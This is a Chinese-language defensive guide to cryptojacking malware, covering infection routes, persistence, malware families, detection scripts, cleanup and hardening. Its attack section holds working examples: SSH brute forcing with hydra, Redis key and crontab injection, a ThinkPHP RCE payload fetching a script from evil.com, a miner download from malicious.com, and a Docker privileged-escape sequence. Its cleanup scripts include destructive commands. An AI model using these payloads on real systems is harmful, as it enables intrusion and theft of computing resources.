挖矿病毒攻击与防御完全指南

← 返回指南列表

挖矿病毒攻击与防御完全指南

挖矿病毒(Cryptojacking Malware)是指未经授权占用受害者计算资源(CPU/GPU)进行加密货币挖矿的恶意软件。与勒索病毒直接索要赎金不同,挖矿病毒悄无声息地窃取算力,为攻击者持续产生非法收益。它是当前最常见、影响范围最广的恶意软件类型之一。


一、挖矿病毒概述

1.1 什么是挖矿病毒

挖矿病毒未经用户或系统管理员授权,秘密占用受害者的 CPU、GPU 或云服务器资源,运行挖矿程序为攻击者挖掘加密货币。攻击者只需部署一次,即可持续获利,直到被发现清除。

MERMAID
115%
Ctrl + 滚轮缩放 · 拖动查看完整流程图

1.2 常见挖掘的加密货币

币种 算法 CPU/GPU 特点
Monero (XMR) RandomX CPU 友好 匿名性最强,最常用于挖矿病毒
Bitcoin (BTC) SHA-256 ASIC 专用 普通设备挖不动
Ethereum (ETH) Ethash GPU 友好 已转 PoS,历史挖矿病毒常用
Litecoin (LTC) Scrypt GPU 较少用于病毒
门罗币衍生币 RandomX / Cryptonight CPU 友好 小币种也常出现

Monero(门罗币)是挖矿病毒最偏爱的币种,原因:

  • RandomX 算法对 CPU 友好,不依赖昂贵的 GPU
  • 默认匿名(环签名+隐身地址),交易无法追踪
  • 抗 ASIC 专用矿机,普通 CPU 即可参与

1.3 挖矿病毒 vs 勒索病毒

特性 挖矿病毒 勒索病毒
攻击目的 窃取算力挖矿 加密文件索要赎金
持续方式 长期潜伏 一次性攻击
隐蔽性 高(伪装为正常进程) 低(直接弹窗)
收益模式 细水长流 一笔大额
清除难度 中(持久化机制多) 高(数据已加密)
检测难度 中高 低

二、攻击方式

2.1 传播途径

传播方式 比例 说明
Web 应用漏洞 45% WebShell/RCE 进入服务器植入
弱口令爆破 25% SSH/Redis/MySQL/Tomcat 弱口令
软件供应链 10% 篡改开源包/破解软件携带矿机
钓鱼邮件 8% 附件或链接下载执行
浏览器挖矿 5% 网页内嵌 Coinhive JS 脚本
漏洞利用工具 7% EternalBlue 等自动化传播

2.2 典型攻击链

MERMAID
115%
Ctrl + 滚轮缩放 · 拖动查看完整流程图

2.3 常用攻击工具

BASH
# 扫描弱口令
hydra -l root -P passwords.txt -t 64 ssh://target.com
# 爆破 Redis
redis-cli -h target.com -p 6379
# 尝试未授权访问
config set dir /root/.ssh
config set dbfilename authorized_keys
save

# 扫描 Web 漏洞
# struts2, thinkphp, weblogic 等 RCE 漏洞批量扫描

# 自动挖矿脚本(典型的 XMRig 部署脚本)
wget http://malicious.com/xmrig.tar.gz
tar xzf xmrig.tar.gz
./xmrig -o pool.minexmr.com:443 -u 钱包地址 --tls -k

2.4 典型攻击手段

手段 1:Web 应用漏洞植入

CODE
攻击者扫描到 ThinkPHP RCE 漏洞
POST /index.php?s=index/\\think\\app/invokefunction&function=call_user_func_array
payload: system("wget http://evil.com/1.sh && bash 1.sh")

1.sh 内容:
  - 下载 XMRig 挖矿程序
  - 写入 cron 定时任务(每5分钟检测矿机是否运行)
  - 写入 SSH 公钥
  - 删除竞争对手的矿机进程
  - 关闭 firewalld/iptables
  - 删除日志文件

手段 2:Redis 未授权植入

BASH
# Redis 未授权访问利用
redis-cli -h 192.168.1.1

# 写入 SSH 公钥(如果 Redis 运行在 root 权限)
config set dir /root/.ssh
config set dbfilename authorized_keys
set x "ssh-rsa AAAAB3NzaC1yc2E..."
save

# 写入 crontab(实现挖矿持久化)
config set dir /var/spool/cron
config set dbfilename root
set x "\n*/5 * * * * bash /tmp/miner.sh\n"
save

手段 3:Docker 逃逸挖矿

BASH
# 如果容器有 --privileged 或有漏洞
# 在容器内 mount 宿主机文件系统
fdisk -l
mount /dev/vda1 /mnt
chroot /mnt
# 现在可以操作宿主机系统
# 写入矿机 + 持久化 + 隐藏进程

2.5 持久化手段

挖矿病毒持久化方式分类:

持久化方式 典型路径 检测方法
计划任务 /etc/crontab /var/spool/cron/* systemd timer crontab -l
系统服务 /etc/systemd/system/ /etc/init.d/ Windows 服务 systemctl list-units
LD_PRELOAD /etc/ld.so.preload 环境变量 cat /etc/ld.so.preload
LKM Rootkit 内核模块加载 lsmod chkrootkit
SSH 后门 写入公钥 + 修改 sshd_config 检查 ~/.ssh/authorized_keys
Docker 映射 挂载 /proc /sys 逃逸至宿主机 检查容器特权模式

三、挖矿病毒常见家族

家族名称 主要传播方式 特征
XMRig 各类 RCE + 弱口令 最流行的 Monero 矿机,占用 CPU
WannaMine EternalBlue (MS17-010) 利用 SMB 漏洞横向传播
MyKings (暗云) 弱口令 SSH + WebLogic 多组件,含 Rootkit
Pacha Group SQL 注入 + Joomla 大规模 IoT 挖矿
LemonDuck 邮件 + 漏洞 + USB 跨平台(Win/Linux),含窃密模块
Outlaw SSH 爆破 黑暗幽灵家族,含 DDoS 功能
Stantinko 软件捆绑 隐匿性强,长期存活

3.1 XMRig 技术分析

XMRig 是最广泛使用的 Monero 挖矿软件,本身是开源合法的。挖矿病毒通常直接使用 XMRig 的二进制文件:

CODE
XMRig 特征:
- 进程名伪装(常改为 sshd、systemd、cron 等)
- 配置文件常嵌入在脚本中
- 挖矿池地址硬编码或 base64 编码
- 通常使用 TLS 连接挖矿池
- 可通过配置文件限制 CPU 使用率以逃避检测

典型命令行:
./xmrig --donate-level=1 \\
  -o pool.minexmr.com:443 \\
  -u 48Xx9p9p9p9p9p9p9p9p9p9p9p9p9 \\
  --tls \\
  --keepalive \\
  --threads=4 \\
  --cpu-max-threads-hint=75 \\
  --background

3.2 WannaMine

WannaMine 是 2018 年爆发的挖矿僵尸网络,因利用 EternalBlue(MS17-010)传播而得名:

CODE
攻击链:
  扫描开放 445 端口的主机 → EternalBlue 攻击 → 植入 PowerShell 脚本
  → 下载矿机 → 本地传播到其他主机 → 清除竞争对手 → 持久化

PowerShell 特性:
  - 内存执行,无文件落地
  - 使用 PowerShell Empire 进行通信
  - 关闭 Windows Defender 和防火墙

四、检测方法

4.1 系统级检测指标

检测指标 正常值 感染挖矿病毒
CPU 使用率 10-40% 持续 >80%
负载 (Load Average) < CPU核数 > CPU核数 x 10
网络出站流量 <1 Mbps >10 Mbps(连接挖矿池)
进程数 正常 存在可疑进程名
系统响应 正常 卡顿、拖慢
Windows GPU 使用 <30% >90% 无窗口程序使用 GPU

4.2 Linux 检测命令

BASH
# 检查 CPU 占用异常进程
top -b -n 1 | head -20
htop

# 查看 CPU 占用 TOP 10
ps aux --sort=-%cpu | head -15

# 排查网络连接(挖矿池连接)
netstat -antp | grep ESTABLISHED
ss -antp | grep -E '(:443|:3333|:4444|:5555|:7777|:8888|:14444)'

# 检查未知的出站连接
lsof -i -P -n | grep ESTABLISHED

# 检查计划任务
crontab -l
cat /etc/crontab
ls -la /etc/cron.*/*
cat /var/spool/cron/*

# 检查 systemd 服务
systemctl list-units --type=service --state=running
systemctl list-units --type=timer --all

# 检查 LD_PRELOAD
cat /etc/ld.so.preload
echo $LD_PRELOAD

# 检查启动项
cat /etc/rc.local
ls -la /etc/init.d/

4.3 Windows 检测命令

POWERSHELL
# 检查高 CPU 进程
Get-Process | Sort-Object CPU -Descending | Select -First 10

# 检查网络连接
netstat -ano | findstr ESTABLISHED

# 检查计划任务
schtasks /query /fo LIST /v | findstr /i "miner crypto xmrig"

# 检查服务
Get-Service | Where-Object {$_.Status -eq "Running"}

# 检查启动项
Get-CimInstance Win32_StartupCommand

# 检查注册表自动启动
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

4.4 挖矿池域名检测

常见的挖矿池域名(dns 查询可辅助检测):

BASH
# Monero (XMR) 挖矿池
pool.minexmr.com
xmrpool.eu
pool.supportxmr.com
mine.c3pool.com
pool.hashvault.pro
xmr.2miners.com

# 通用检测:查询所有出站 DNS 是否包含可疑域名
tcpdump -n port 53 | grep -iE 'xmr|mine|pool|monero|stratum'

# 或者直接查看系统 DNS 缓存
# 如果发现大量解析上述域名 → 确认感染

4.5 自动化检测脚本

PYTHON
#!/usr/bin/env python3
"""挖矿病毒快速检测脚本"""
import os
import subprocess
import json

SUSPICIOUS_PORTS = [3333, 4444, 5555, 6444, 7777, 8888, 14444, 443]
SUSPICIOUS_PROCESS = [
    'xmrig', 'xmr-stak', 'cryptonight', 'minerd', 'ccminer',
    'ethminer', 'cpuminer', 'sgminer', 'bfgminer', 'cgminer'
]
SUSPICIOUS_DOMAINS = [
    'minexmr.com', 'supportxmr.com', 'c3pool.com',
    'hashvault.pro', '2miners.com', 'moneroocean.stream'
]


def detect_cpu_abnormal():
    """检测 CPU 异常"""
    result = subprocess.run(
        ["ps", "aux", "--sort=-%cpu"],
        capture_output=True, text=True
    )
    lines = result.stdout.strip().split('\n')[1:]
    threats = []

    for line in lines[:15]:  # TOP 15
        parts = line.split()
        if len(parts) > 10:
            cpu = float(parts[2])
            name = parts[10]
            if cpu > 80:
                threats.append({
                    'pid': parts[1],
                    'cpu': cpu,
                    'name': name
                })

    return threats


def detect_outbound_connections():
    """检测可疑出站连接"""
    result = subprocess.run(
        ["ss", "-antp"], capture_output=True, text=True
    )
    threats = []
    for line in result.stdout.split('\n'):
        for port in SUSPICIOUS_PORTS:
            if f':{port}' in line and 'ESTAB' in line:
                threats.append(line.strip())
    return threats


def detect_suspicious_process():
    """检测可疑进程名"""
    result = subprocess.run(
        ["ps", "aux"], capture_output=True, text=True
    )
    threats = []
    for proc in SUSPICIOUS_PROCESS:
        for line in result.stdout.split('\n'):
            if proc in line.lower():
                threats.append(line.strip())
    return threats


def detect_cron_miner():
    """检测挖矿计划任务"""
    result = subprocess.run(
        ["crontab", "-l"], capture_output=True, text=True
    )
    threats = []
    for keyword in ['xmrig', 'miner', 'wget', 'curl', '/tmp/', '/dev/shm']:
        if keyword in result.stdout.lower():
            threats.append(
                f"crontab 包含可疑关键词: {keyword}"
            )
    return threats


def scan():
    print("=== 挖矿病毒检测报告 ===\n")

    print("1. CPU 异常检测:")
    for t in detect_cpu_abnormal():
        print(f"   [高危] PID={t['pid']} CPU={t['cpu']}% {t['name']}")

    print("\n2. 可疑连接检测:")
    for t in detect_outbound_connections():
        print(f"   [高危] {t}")

    print("\n3. 可疑进程检测:")
    for t in detect_suspicious_process():
        print(f"   [高危] {t}")

    print("\n4. 计划任务检测:")
    for t in detect_cron_miner():
        print(f"   [告警] {t}")

    print("\n5. 建议:")
    print("   立即隔离服务器")
    print("   修改所有密码")
    print("   检查 SSH 密钥")
    print("   清除可疑进程和计划任务")
    print("   重新安装或回滚快照")


if __name__ == "__main__":
    scan()

五、清除方法

5.1 紧急隔离

BASH
# 1. 断开网络(切断挖矿池连接)
iptables -A OUTPUT -d "pool.minexmr.com" -j DROP
iptables -A OUTPUT -p tcp --dport 3333 -j DROP
# 或直接拔网线

# 2. 杀死挖矿进程
kill -9 $(pidof xmrig)
kill -9 $(ps aux | grep -i miner | grep -v grep | awk '{print $2}')

# 3. 删除挖矿程序
find / -name "xmrig*" -type f -delete
find / -name "*.sh" -newer /etc/passwd -type f | xargs grep -l "xmrig\|miner\|pool" 2>/dev/null

5.2 Linux 彻底清除

BASH
#!/bin/bash
# Linux 挖矿病毒清除脚本

# 1. 停止可疑进程
echo "停止可疑进程..."
pkill -f xmrig
pkill -f xmr-stak
pkill -f cryptonight
pkill -f minerd

# 2. 清除计划任务
echo "清除计划任务..."
crontab -r 2>/dev/null
> /etc/crontab
rm -f /var/spool/cron/*
rm -f /etc/cron.d/*miner*
rm -f /etc/cron.hourly/*miner*
rm -f /etc/cron.daily/*miner*

# 3. 清除 systemd 服务
echo "清除恶意服务..."
systemctl stop *.miner*.service *.xmrig*.service 2>/dev/null
systemctl disable *.miner*.service *.xmrig*.service 2>/dev/null
rm -f /etc/systemd/system/*miner*
rm -f /etc/systemd/system/*xmrig*
systemctl daemon-reload

# 4. 清除 SSH 后门
echo "检查 SSH 后门..."
cat ~/.ssh/authorized_keys
# 确认后清除非授权的公钥
# > ~/.ssh/authorized_keys

# 5. 检查 LD_PRELOAD
echo "检查 LD_PRELOAD..."
> /etc/ld.so.preload 2>/dev/null

# 6. 检查启动项
echo "检查启动项..."
rm -f /etc/init.d/*miner*
rm -f /etc/rc.d/rc.local

# 7. 检查 /tmp、/dev/shm、/var/tmp
echo "清理临时目录..."
rm -rf /tmp/.tmp* /tmp/*miner* /tmp/*xmrig*
rm -rf /dev/shm/*miner* /dev/shm/*xmrig*
rm -rf /var/tmp/*miner* /var/tmp/*xmrig*

# 8. 修改所有密码(重要!)
# passwd root
# 修改 SSH 端口

# 9. 重启服务器(确保清除)
# reboot

echo "清除完成。建议重启服务器。"

5.3 Windows 清除

POWERSHELL
# Windows 挖矿病毒清除
# 以管理员身份运行

# 1. 停止进程
Stop-Process -Name "xmrig*" -Force -ErrorAction SilentlyContinue
Stop-Process -Name "*miner*" -Force -ErrorAction SilentlyContinue

# 2. 删除计划任务
schtasks /delete /tn "*miner*" /f
schtasks /delete /tn "*xmrig*" /f

# 3. 删除服务
sc stop *miner* 2>$null
sc delete *miner* 2>$null
sc stop *xmrig* 2>$null
sc delete *xmrig* 2>$null

# 4. 删除启动项
Remove-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "*miner*" -ErrorAction SilentlyContinue
Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "*miner*" -ErrorAction SilentlyContinue

# 5. 删除文件
Remove-Item -Path "$env:TEMP\*miner*" -Recurse -Force -ErrorAction SilentlyContinue
Remove-Item -Path "$env:APPDATA\*miner*" -Recurse -Force -ErrorAction SilentlyContinue
Remove-Item -Path "C:\ProgramData\*miner*" -Recurse -Force -ErrorAction SilentlyContinue

# 6. 检查 hosts 文件
Get-Content "$env:SystemRoot\System32\drivers\etc\hosts"

# 7. 修改密码
# net user administrator NewStr0ngP@ss!

5.4 重建 vs 清除

场景 推荐做法 原因
云服务器 直接销毁重建 无法保证 Rootkit 彻底清除
物理服务器 重装系统 耗时长但彻底
确定仅挖矿脚本 清除脚本+改密 如果是自动化脚本植入,清除即可
发现 Rootkit 重建 LKM/内核钩子几乎无法彻底清除

核心原则:只要不确定攻击者是否拿到了 root 权限,就应该重建系统。挖矿病毒往往伴随着其他后门。


六、防御策略

6.1 基础安全基线

BASH
# 1. SSH 安全配置
# /etc/ssh/sshd_config
PermitRootLogin no
PasswordAuthentication no
PubkeyAuthentication yes
Port 2222  # 修改默认端口
AllowUsers youruser

# 2. 防火墙
iptables -P INPUT DROP
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A INPUT -p tcp --dport 2222 -j ACCEPT
iptables -A INPUT -p tcp --dport 80 -j ACCEPT
iptables -A INPUT -p tcp --dport 443 -j ACCEPT

# 3. Redis 安全
# /etc/redis/redis.conf
bind 127.0.0.1
requirepass VeryStr0ngP@ss
rename-command CONFIG ""
rename-command FLUSHALL ""
rename-command FLUSHDB ""

# 4. Docker 安全
# 不使用 --privileged
# 限制资源
docker run --memory=1g --cpus=0.5 --read-only ...
# 限制系统调用
docker run --security-opt seccomp=seccomp-profile.json ...

# 5. 禁用 root 登录
usermod -L root
# 或
passwd -l root

6.2 资源限制防御

BASH
# Linux cgroups 限制 CPU 使用
# 即使被植入矿机,也限制其 CPU 占用

# 全局 CPU 限制(所有进程)
# /etc/security/limits.conf
* hard cpu 60
* hard nproc 1000

# 使用 systemd 限制用户进程资源
cat << 'EOF' > /etc/systemd/system/user-.slice.d/50-limits.conf
[Slice]
CPUQuota=80%
MemoryMax=4G
TasksMax=500
EOF

# 使用 cpulimit 限制特定进程 CPU
apt install cpulimit
cpulimit -e xmrig -l 10 &

# 使用 ulimit
ulimit -u 500  # 最大进程数

6.3 文件完整性监控

BASH
# 使用 AIDE(高级入侵检测环境)
apt install aide
aideinit
mv /var/lib/aide/aide.db.new /var/lib/aide/aide.db

# 定期检查
aide --check

# 监控关键目录变更
inotifywait -mr -e create,modify,delete /tmp /dev/shm /var/tmp

6.4 网络层防御

BASH
# 出站规则(只允许必要出站连接)
iptables -A OUTPUT -p tcp --dport 22 -j ACCEPT
iptables -A OUTPUT -p tcp --dport 53 -j ACCEPT
iptables -A OUTPUT -p udp --dport 53 -j ACCEPT
iptables -A OUTPUT -p tcp --dport 80 -j ACCEPT
iptables -A OUTPUT -p tcp --dport 443 -j ACCEPT
iptables -A OUTPUT -j DROP

# DNS 黑名单(屏蔽已知挖矿池)
# 使用 Pi-hole / dnsmasq
echo "address=/pool.minexmr.com/0.0.0.0" >> /etc/dnsmasq.conf
echo "address=/xmrpool.eu/0.0.0.0" >> /etc/dnsmasq.conf
echo "address=/supportxmr.com/0.0.0.0" >> /etc/dnsmasq.conf
systemctl restart dnsmasq

# 检测高 CPU 连接
# 如果某进程持续高 CPU 占用且有大量出站连接 → 告警

6.5 浏览器挖矿防御

POWERSHELL
# Windows: 在 hosts 中屏蔽 Coinhive 等挖矿 JS
echo "0.0.0.0 coin-hive.com" >> %SystemRoot%\System32\drivers\etc\hosts
echo "0.0.0.0 coinhive.com" >> %SystemRoot%\System32\drivers\etc\hosts
echo "0.0.0.0 coin-hive.work" >> %SystemRoot%\System32\drivers\etc\hosts

# 浏览器插件防御
# NoCoin (uBlock Origin 自带屏蔽列表)
# MinerBlock

6.6 云服务器防御

BASH
# 阿里云/腾讯云/华为云 安全组配置
# 1. 只放行业务端口
# 2. 使用云安全中心(自动检测挖矿行为)
# 3. 开启基线检查
# 4. 使用镜像加固(自定义镜像预置安全配置)

# AWS
# 1. Security Group 最小权限
# 2. GuardDuty 检测挖矿行为
# 3. CloudWatch 监控 CPU 基线
# 4. AWS Systems Manager 补丁管理

6.7 检测告警规则

YAML
# Prometheus + AlertManager 挖矿检测规则示例
groups:
  - name: cryptojacking
    rules:
      - alert: HighCPUUsage
        expr: 100 - (avg by(instance) (rate(node_cpu_seconds_total{mode="idle"}[5m])) * 100) > 90
        for: 10m
        annotations:
          summary: "CPU 使用率超过 90% 持续 10 分钟"

      - alert: SuspiciousOutboundConnection
        expr: rate(node_netstat_Tcp_OutSegs[5m]) > 10000
        annotations:
          summary: "出站连接异常"

      - alert: MinerProcessDetected
        expr: node_processes{process=~".*miner.*|.*xmrig.*|.*xmr.*"}
        annotations:
          summary: "检测到挖矿进程"

七、应急响应流程

7.1 感染确认

CODE
收到 CPU 告警 → SSH 登录检查
  ↓
确认 CPU > 90% 持续异常
  ↓
排查进程(top / ps aux)
  ↓
检查网络连接(ss -antp)
  ↓
如果发现可疑矿机进程 → 确认感染

7.2 响应步骤

MERMAID
115%
Ctrl + 滚轮缩放 · 拖动查看完整流程图
BASH
# 响应步骤命令

# 1. 取证保存
ps aux > process_snapshot.txt
ss -antp > connection_snapshot.txt
cat /etc/crontab > cron_snapshot.txt
systemctl list-units --type=service --state=running > services.txt
cp /var/log/secure ./  # SSH 登录日志
history > bash_history.txt

# 2. 分析入口
grep "Accepted" /var/log/secure | awk '{print $11}' | sort | uniq -c
# 查看哪些 IP 成功登录了 SSH

# 3. 确认清除
# 重装系统(推荐)
# 或执行清除脚本后全面检查

八、总结

MERMAID
115%
Ctrl + 滚轮缩放 · 拖动查看完整流程图

挖矿病毒的核心特点是低风险、高回报、持续获利。攻击者不需要高超的技术,利用自动化脚本扫描弱口令和已知漏洞即可大规模部署。防御的关键在于:

  1. 减少攻击面 — 修改默认端口,禁用密码认证,最小化开放服务
  2. 资源限制 — 即使被入侵,限制 CPU/网络也能减少损失
  3. 出站控制 — 严格出站防火墙策略,阻断挖矿池连接
  4. 基线监控 — CPU 和网络出站流量的异常检测是最有效的发现手段
  5. 及时重建 — 确认 root 权限失陷后,重建比重装更可靠

参考